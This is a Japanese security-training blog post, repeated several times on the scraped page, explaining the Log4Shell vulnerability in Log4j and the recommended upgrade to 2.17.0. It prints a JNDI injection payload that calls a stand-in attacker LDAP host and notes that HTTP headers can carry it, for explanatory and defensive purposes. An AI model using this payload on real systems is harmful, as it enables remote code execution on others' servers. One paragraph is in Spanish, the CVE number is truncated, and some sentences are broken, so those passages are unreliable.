SCW アイコン
ヒーロー背景(区切りなし)
ブログ

Log4j脆弱性の解説:攻撃ベクトルと予防策

ローラ・ベルヘイデ
2022年1月16日 発行
最終更新日: 2026年3月6日

12月9日、JavaのLog4jライブラリにゼロデイ脆弱性が発見された。CVE-44228通称Log4Shell)は「深刻度高」と評価され、この脆弱性によりリモートコード実行(RCE)が可能となる。さらに、log4j-coreはJavaで最も広く使用されているロギングライブラリの一つであり、数百万のアプリケーションが危険に晒されている。

Log4Shellへの対処スキルを素早く向上させたいですか?

Log4Shellの基本概念から、Missionというシミュレーターでこの脆弱性がどのように悪用されるかの体験までを網羅したデモンストレーションを用意しました。このミッションでは、Log4jの脆弱性がインフラストラクチャやアプリケーションにどのような影響を与えるかを実演します。デモンストレーションに直接アクセスするにはこちらをクリック、または脆弱性の詳細についてさらに読み進めてください。

古いニュース?

このエクスプロイトは新しいものではない。 2016年のBlackHatカンファレンスでの講演において、セキュリティ研究者のAlvaro MuñozとOleksandr Miroshはアプリケーションは信頼できないデータでJNDI検索を実行すべきではない」と強調し、特定のJNDI/LDAPインジェクションがリモートコード実行を引き起こす可能性を実証した。そしてこれがまさにLog4Shellの本質を構成している。

攻撃ベクトル

Log4Shellのインジェクションペイロードは次のようになります:

$ {jndi:ldap: //attacker.host/xyz}

Para entender esto necesitamos conocer el lenguaje de expresión (EL) de Java. Expresiones escritas en la siguiente sintaxis: $ {expr} se evaluará en tiempo de ejecución. Por ejemplo, $ {java:version} devolverá la versión de Java que se está utilizando.

次に、JNDI(Java Names and Directory Interface)があります。これは、LDAP、DNS、RMIなどのプロトコルを介してサービスに接続し、データやリソースを取得するためのAPIです。簡単に言えば、前述の悪意のあるペイロードの例では、JNDIが攻撃者が制御するLDAPサーバーに対して検索を実行します。 その応答は、例えば悪意のあるコードを含むJavaクラスファイルを指し示す可能性があり、それが脆弱なサーバー上で実行されることになります。

この脆弱性が特に問題となる理由は、Log4jがすべてのログエントリを評価し、EL構文で記述された登録済みユーザーのエントリを「jndi」プレフィックスで検索するためです。 ペイロードは、ユーザーがデータを入力できるあらゆる場所(例:フォームフィールド)に挿入可能です。さらに、ユーザーエージェントやX- For warded-ForなどのHTTPヘッダーやその他のヘッダーをカスタマイズしてペイロードを運搬することもできます。

このエクスプロイトを実際に体験するには、当社のプレゼンテーションにアクセスし、ステップ2「体験の影響」に進んでください。

予防:啓発

Log4jは脆弱なコードの修正を続けてきたため、すべてのアプリケーションに対して更新が推奨される対応策です。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれていたため、12月末時点では2.17.0への更新が推奨されます。

コードを書く開発者として、私たちは常にセキュリティを考慮しなければなりません。Log4Shellは、サードパーティのフレームワークやライブラリの使用にはリスクが伴うことを教えてくれました。外部ソースを利用することでアプリケーションのセキュリティが侵害される可能性があるという事実を認識すべきです。私たちは、それらを安全であると安易に思い込んでいるのです。

この脆弱性は回避できたでしょうか?はい、そしていいえ。一方で、脆弱なコンポーネントがサードパーティ製ソフトウェアを通じて導入される場合、開発者ができることは限られています。他方で、この件から得られた教訓は繰り返し語られてきたものです。つまり、ユーザーの意見を決して信頼してはならないということです。

Secure Code Warrior 、セキュリティを意識した開発者がコードの脆弱性を防ぐ最善策だとSecure Code Warrior 。SCWがプログラミングフレームワークに特化した拡張可能なトレーニングを提供するため、企業顧客はレポートデータを活用して影響を受けるJava開発者を迅速に特定できました。また、Log4jの更新を加速させるため、SCWで訓練を受けた自社のセキュリティ専門家を信頼しました。

特にJava開発者向けに、Secure Code Warrior 無料のIntelliJプラグイン「Sensei」Secure Code Warrior 。このルールベースのコード分析ツールは、コーディングガイドラインの順守を強制し、脆弱性の予防と修正に活用できます。 独自のルールを作成するか、用意済みのレシピブックをご利用いただけます。当社のレシピを閲覧し、Log4Shell脆弱性を瞬時に特定・修正できる「Log4jレシピブック」のダウンロードもお忘れなく。

Log4Shellから身を守ることでスキルを向上させよう

このブログ記事で学んだことを実践してみませんか?当社のデモ環境が役立ちます。プレゼンテーションの冒頭で、この脆弱性を簡単に振り返った後、ガイド付き手順に従ってエクスプロイトを試せるシミュレート環境へアクセスします。


リソースを参照
リソースを参照

2021年12月、JavaライブラリLog4jに重大なセキュリティ脆弱性「Log4Shell」が発見されました。本記事では、Log4Shellの脆弱性を最も分かりやすく解説し、その基本を理解していただくとともに、一つのミッションをご紹介します:この脆弱性の知識を活かして、模擬ウェブサイトを攻撃できる実践の場です。

もっと知りたいですか?

もっと詳しく

Secure Code Warrior ソフトウェア開発ライフサイクル全体を通じてコードを保護し、サイバーセキュリティを最優先事項とする文化を構築するために、貴組織をSecure Code Warrior 。AppSec管理者、開発者、CISO、セキュリティ関連担当者など、あらゆる立場の方々に対し、不安全なコードに関連するリスクを軽減するお手伝いをいたします。

デモを予約する
共有する:
リンクトインのブランドソーシャルx ロゴ
著者
ローラ・ベルヘイデ
2022年1月16日発行

Laura Verheyde はSecure Code Warrior のソフトウェア開発者で、脆弱性のリサーチとMissions および Coding labs のコンテンツ作成に注力している。

共有する:
リンクトインのブランドソーシャルx ロゴ

12月9日、JavaのLog4jライブラリにゼロデイ脆弱性が発見された。CVE-44228通称Log4Shell)は「深刻度高」と評価され、この脆弱性によりリモートコード実行(RCE)が可能となる。さらに、log4j-coreはJavaで最も広く使用されているロギングライブラリの一つであり、数百万のアプリケーションが危険に晒されている。

Log4Shellへの対処スキルを素早く向上させたいですか?

Log4Shellの基本概念から、Missionというシミュレーターでこの脆弱性がどのように悪用されるかの体験までを網羅したデモンストレーションを用意しました。このミッションでは、Log4jの脆弱性がインフラストラクチャやアプリケーションにどのような影響を与えるかを実演します。デモンストレーションに直接アクセスするにはこちらをクリック、または脆弱性の詳細についてさらに読み進めてください。

古いニュース?

このエクスプロイトは新しいものではない。 2016年のBlackHatカンファレンスでの講演において、セキュリティ研究者のAlvaro MuñozとOleksandr Miroshはアプリケーションは信頼できないデータでJNDI検索を実行すべきではない」と強調し、特定のJNDI/LDAPインジェクションがリモートコード実行を引き起こす可能性を実証した。そしてこれがまさにLog4Shellの本質を構成している。

攻撃ベクトル

Log4Shellのインジェクションペイロードは次のようになります:

$ {jndi:ldap: //attacker.host/xyz}

Para entender esto necesitamos conocer el lenguaje de expresión (EL) de Java. Expresiones escritas en la siguiente sintaxis: $ {expr} se evaluará en tiempo de ejecución. Por ejemplo, $ {java:version} devolverá la versión de Java que se está utilizando.

次に、JNDI(Java Names and Directory Interface)があります。これは、LDAP、DNS、RMIなどのプロトコルを介してサービスに接続し、データやリソースを取得するためのAPIです。簡単に言えば、前述の悪意のあるペイロードの例では、JNDIが攻撃者が制御するLDAPサーバーに対して検索を実行します。 その応答は、例えば悪意のあるコードを含むJavaクラスファイルを指し示す可能性があり、それが脆弱なサーバー上で実行されることになります。

この脆弱性が特に問題となる理由は、Log4jがすべてのログエントリを評価し、EL構文で記述された登録済みユーザーのエントリを「jndi」プレフィックスで検索するためです。 ペイロードは、ユーザーがデータを入力できるあらゆる場所(例:フォームフィールド)に挿入可能です。さらに、ユーザーエージェントやX- For warded-ForなどのHTTPヘッダーやその他のヘッダーをカスタマイズしてペイロードを運搬することもできます。

このエクスプロイトを実際に体験するには、当社のプレゼンテーションにアクセスし、ステップ2「体験の影響」に進んでください。

予防:啓発

Log4jは脆弱なコードの修正を続けてきたため、すべてのアプリケーションに対して更新が推奨される対応策です。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれていたため、12月末時点では2.17.0への更新が推奨されます。

コードを書く開発者として、私たちは常にセキュリティを考慮しなければなりません。Log4Shellは、サードパーティのフレームワークやライブラリの使用にはリスクが伴うことを教えてくれました。外部ソースを利用することでアプリケーションのセキュリティが侵害される可能性があるという事実を認識すべきです。私たちは、それらを安全であると安易に思い込んでいるのです。

この脆弱性は回避できたでしょうか?はい、そしていいえ。一方で、脆弱なコンポーネントがサードパーティ製ソフトウェアを通じて導入される場合、開発者ができることは限られています。他方で、この件から得られた教訓は繰り返し語られてきたものです。つまり、ユーザーの意見を決して信頼してはならないということです。

Secure Code Warrior 、セキュリティを意識した開発者がコードの脆弱性を防ぐ最善策だとSecure Code Warrior 。SCWがプログラミングフレームワークに特化した拡張可能なトレーニングを提供するため、企業顧客はレポートデータを活用して影響を受けるJava開発者を迅速に特定できました。また、Log4jの更新を加速させるため、SCWで訓練を受けた自社のセキュリティ専門家を信頼しました。

特にJava開発者向けに、Secure Code Warrior 無料のIntelliJプラグイン「Sensei」Secure Code Warrior 。このルールベースのコード分析ツールは、コーディングガイドラインの順守を強制し、脆弱性の予防と修正に活用できます。 独自のルールを作成するか、用意済みのレシピブックをご利用いただけます。当社のレシピを閲覧し、Log4Shell脆弱性を瞬時に特定・修正できる「Log4jレシピブック」のダウンロードもお忘れなく。

Log4Shellから身を守ることでスキルを向上させよう

このブログ記事で学んだことを実践してみませんか?当社のデモ環境が役立ちます。プレゼンテーションの冒頭で、この脆弱性を簡単に振り返った後、ガイド付き手順に従ってエクスプロイトを試せるシミュレート環境へアクセスします。


リソースを参照
リソースを参照

以下のフォームに記入してレポートをダウンロードしてください

当社製品や安全な暗号化に関する情報をお送りする許可を頂ければ幸いです。お客様の個人情報は常に最大限の注意を払って取り扱い、マーケティング目的で他社に販売することは決してありません。

送信
SCW成功アイコン
SCWエラーアイコン
フォームを送信するには、「分析」クッキーを有効にしてください。完了後は、お気軽に再度無効にしてください。

12月9日、JavaのLog4jライブラリにゼロデイ脆弱性が発見された。CVE-44228通称Log4Shell)は「深刻度高」と評価され、この脆弱性によりリモートコード実行(RCE)が可能となる。さらに、log4j-coreはJavaで最も広く使用されているロギングライブラリの一つであり、数百万のアプリケーションが危険に晒されている。

Log4Shellへの対処スキルを素早く向上させたいですか?

Log4Shellの基本概念から、Missionというシミュレーターでこの脆弱性がどのように悪用されるかの体験までを網羅したデモンストレーションを用意しました。このミッションでは、Log4jの脆弱性がインフラストラクチャやアプリケーションにどのような影響を与えるかを実演します。デモンストレーションに直接アクセスするにはこちらをクリック、または脆弱性の詳細についてさらに読み進めてください。

古いニュース?

このエクスプロイトは新しいものではない。 2016年のBlackHatカンファレンスでの講演において、セキュリティ研究者のAlvaro MuñozとOleksandr Miroshはアプリケーションは信頼できないデータでJNDI検索を実行すべきではない」と強調し、特定のJNDI/LDAPインジェクションがリモートコード実行を引き起こす可能性を実証した。そしてこれがまさにLog4Shellの本質を構成している。

攻撃ベクトル

Log4Shellのインジェクションペイロードは次のようになります:

$ {jndi:ldap: //attacker.host/xyz}

Para entender esto necesitamos conocer el lenguaje de expresión (EL) de Java. Expresiones escritas en la siguiente sintaxis: $ {expr} se evaluará en tiempo de ejecución. Por ejemplo, $ {java:version} devolverá la versión de Java que se está utilizando.

次に、JNDI(Java Names and Directory Interface)があります。これは、LDAP、DNS、RMIなどのプロトコルを介してサービスに接続し、データやリソースを取得するためのAPIです。簡単に言えば、前述の悪意のあるペイロードの例では、JNDIが攻撃者が制御するLDAPサーバーに対して検索を実行します。 その応答は、例えば悪意のあるコードを含むJavaクラスファイルを指し示す可能性があり、それが脆弱なサーバー上で実行されることになります。

この脆弱性が特に問題となる理由は、Log4jがすべてのログエントリを評価し、EL構文で記述された登録済みユーザーのエントリを「jndi」プレフィックスで検索するためです。 ペイロードは、ユーザーがデータを入力できるあらゆる場所(例:フォームフィールド)に挿入可能です。さらに、ユーザーエージェントやX- For warded-ForなどのHTTPヘッダーやその他のヘッダーをカスタマイズしてペイロードを運搬することもできます。

このエクスプロイトを実際に体験するには、当社のプレゼンテーションにアクセスし、ステップ2「体験の影響」に進んでください。

予防:啓発

Log4jは脆弱なコードの修正を続けてきたため、すべてのアプリケーションに対して更新が推奨される対応策です。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれていたため、12月末時点では2.17.0への更新が推奨されます。

コードを書く開発者として、私たちは常にセキュリティを考慮しなければなりません。Log4Shellは、サードパーティのフレームワークやライブラリの使用にはリスクが伴うことを教えてくれました。外部ソースを利用することでアプリケーションのセキュリティが侵害される可能性があるという事実を認識すべきです。私たちは、それらを安全であると安易に思い込んでいるのです。

この脆弱性は回避できたでしょうか?はい、そしていいえ。一方で、脆弱なコンポーネントがサードパーティ製ソフトウェアを通じて導入される場合、開発者ができることは限られています。他方で、この件から得られた教訓は繰り返し語られてきたものです。つまり、ユーザーの意見を決して信頼してはならないということです。

Secure Code Warrior 、セキュリティを意識した開発者がコードの脆弱性を防ぐ最善策だとSecure Code Warrior 。SCWがプログラミングフレームワークに特化した拡張可能なトレーニングを提供するため、企業顧客はレポートデータを活用して影響を受けるJava開発者を迅速に特定できました。また、Log4jの更新を加速させるため、SCWで訓練を受けた自社のセキュリティ専門家を信頼しました。

特にJava開発者向けに、Secure Code Warrior 無料のIntelliJプラグイン「Sensei」Secure Code Warrior 。このルールベースのコード分析ツールは、コーディングガイドラインの順守を強制し、脆弱性の予防と修正に活用できます。 独自のルールを作成するか、用意済みのレシピブックをご利用いただけます。当社のレシピを閲覧し、Log4Shell脆弱性を瞬時に特定・修正できる「Log4jレシピブック」のダウンロードもお忘れなく。

Log4Shellから身を守ることでスキルを向上させよう

このブログ記事で学んだことを実践してみませんか?当社のデモ環境が役立ちます。プレゼンテーションの冒頭で、この脆弱性を簡単に振り返った後、ガイド付き手順に従ってエクスプロイトを試せるシミュレート環境へアクセスします。


ウェビナーを見る
始める
もっと詳しく

以下のリンクをクリックして、このリソースのPDFをダウンロードしてください。

Secure Code Warrior ソフトウェア開発ライフサイクル全体を通じてコードを保護し、サイバーセキュリティを最優先事項とする文化を構築するために、貴組織をSecure Code Warrior 。AppSec管理者、開発者、CISO、セキュリティ関連担当者など、あらゆる立場の方々に対し、不安全なコードに関連するリスクを軽減するお手伝いをいたします。

報告書を見るデモを予約する
PDFをダウンロード
リソースを参照
共有する:
リンクトインのブランドソーシャルx ロゴ
もっと知りたいですか?

共有する:
リンクトインのブランドソーシャルx ロゴ
著者
ローラ・ベルヘイデ
2022年1月16日発行

Laura Verheyde はSecure Code Warrior のソフトウェア開発者で、脆弱性のリサーチとMissions および Coding labs のコンテンツ作成に注力している。

共有する:
リンクトインのブランドソーシャルx ロゴ

12月9日、JavaのLog4jライブラリにゼロデイ脆弱性が発見された。CVE-44228通称Log4Shell)は「深刻度高」と評価され、この脆弱性によりリモートコード実行(RCE)が可能となる。さらに、log4j-coreはJavaで最も広く使用されているロギングライブラリの一つであり、数百万のアプリケーションが危険に晒されている。

Log4Shellへの対処スキルを素早く向上させたいですか?

Log4Shellの基本概念から、Missionというシミュレーターでこの脆弱性がどのように悪用されるかの体験までを網羅したデモンストレーションを用意しました。このミッションでは、Log4jの脆弱性がインフラストラクチャやアプリケーションにどのような影響を与えるかを実演します。デモンストレーションに直接アクセスするにはこちらをクリック、または脆弱性の詳細についてさらに読み進めてください。

古いニュース?

このエクスプロイトは新しいものではない。 2016年のBlackHatカンファレンスでの講演において、セキュリティ研究者のAlvaro MuñozとOleksandr Miroshはアプリケーションは信頼できないデータでJNDI検索を実行すべきではない」と強調し、特定のJNDI/LDAPインジェクションがリモートコード実行を引き起こす可能性を実証した。そしてこれがまさにLog4Shellの本質を構成している。

攻撃ベクトル

Log4Shellのインジェクションペイロードは次のようになります:

$ {jndi:ldap: //attacker.host/xyz}

Para entender esto necesitamos conocer el lenguaje de expresión (EL) de Java. Expresiones escritas en la siguiente sintaxis: $ {expr} se evaluará en tiempo de ejecución. Por ejemplo, $ {java:version} devolverá la versión de Java que se está utilizando.

次に、JNDI(Java Names and Directory Interface)があります。これは、LDAP、DNS、RMIなどのプロトコルを介してサービスに接続し、データやリソースを取得するためのAPIです。簡単に言えば、前述の悪意のあるペイロードの例では、JNDIが攻撃者が制御するLDAPサーバーに対して検索を実行します。 その応答は、例えば悪意のあるコードを含むJavaクラスファイルを指し示す可能性があり、それが脆弱なサーバー上で実行されることになります。

この脆弱性が特に問題となる理由は、Log4jがすべてのログエントリを評価し、EL構文で記述された登録済みユーザーのエントリを「jndi」プレフィックスで検索するためです。 ペイロードは、ユーザーがデータを入力できるあらゆる場所(例:フォームフィールド)に挿入可能です。さらに、ユーザーエージェントやX- For warded-ForなどのHTTPヘッダーやその他のヘッダーをカスタマイズしてペイロードを運搬することもできます。

このエクスプロイトを実際に体験するには、当社のプレゼンテーションにアクセスし、ステップ2「体験の影響」に進んでください。

予防:啓発

Log4jは脆弱なコードの修正を続けてきたため、すべてのアプリケーションに対して更新が推奨される対応策です。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれていたため、12月末時点では2.17.0への更新が推奨されます。

コードを書く開発者として、私たちは常にセキュリティを考慮しなければなりません。Log4Shellは、サードパーティのフレームワークやライブラリの使用にはリスクが伴うことを教えてくれました。外部ソースを利用することでアプリケーションのセキュリティが侵害される可能性があるという事実を認識すべきです。私たちは、それらを安全であると安易に思い込んでいるのです。

この脆弱性は回避できたでしょうか?はい、そしていいえ。一方で、脆弱なコンポーネントがサードパーティ製ソフトウェアを通じて導入される場合、開発者ができることは限られています。他方で、この件から得られた教訓は繰り返し語られてきたものです。つまり、ユーザーの意見を決して信頼してはならないということです。

Secure Code Warrior 、セキュリティを意識した開発者がコードの脆弱性を防ぐ最善策だとSecure Code Warrior 。SCWがプログラミングフレームワークに特化した拡張可能なトレーニングを提供するため、企業顧客はレポートデータを活用して影響を受けるJava開発者を迅速に特定できました。また、Log4jの更新を加速させるため、SCWで訓練を受けた自社のセキュリティ専門家を信頼しました。

特にJava開発者向けに、Secure Code Warrior 無料のIntelliJプラグイン「Sensei」Secure Code Warrior 。このルールベースのコード分析ツールは、コーディングガイドラインの順守を強制し、脆弱性の予防と修正に活用できます。 独自のルールを作成するか、用意済みのレシピブックをご利用いただけます。当社のレシピを閲覧し、Log4Shell脆弱性を瞬時に特定・修正できる「Log4jレシピブック」のダウンロードもお忘れなく。

Log4Shellから身を守ることでスキルを向上させよう

このブログ記事で学んだことを実践してみませんか?当社のデモ環境が役立ちます。プレゼンテーションの冒頭で、この脆弱性を簡単に振り返った後、ガイド付き手順に従ってエクスプロイトを試せるシミュレート環境へアクセスします。


目次

PDFをダウンロード
リソースを参照
もっと知りたいですか?

もっと詳しく

Secure Code Warrior ソフトウェア開発ライフサイクル全体を通じてコードを保護し、サイバーセキュリティを最優先事項とする文化を構築するために、貴組織をSecure Code Warrior 。AppSec管理者、開発者、CISO、セキュリティ関連担当者など、あらゆる立場の方々に対し、不安全なコードに関連するリスクを軽減するお手伝いをいたします。

デモを予約するダウンロード
共有する:
リンクトインのブランドソーシャルx ロゴ
リソースセンター

始めるためのリソース

その他の投稿
リソースセンター

始めるためのリソース

その他の投稿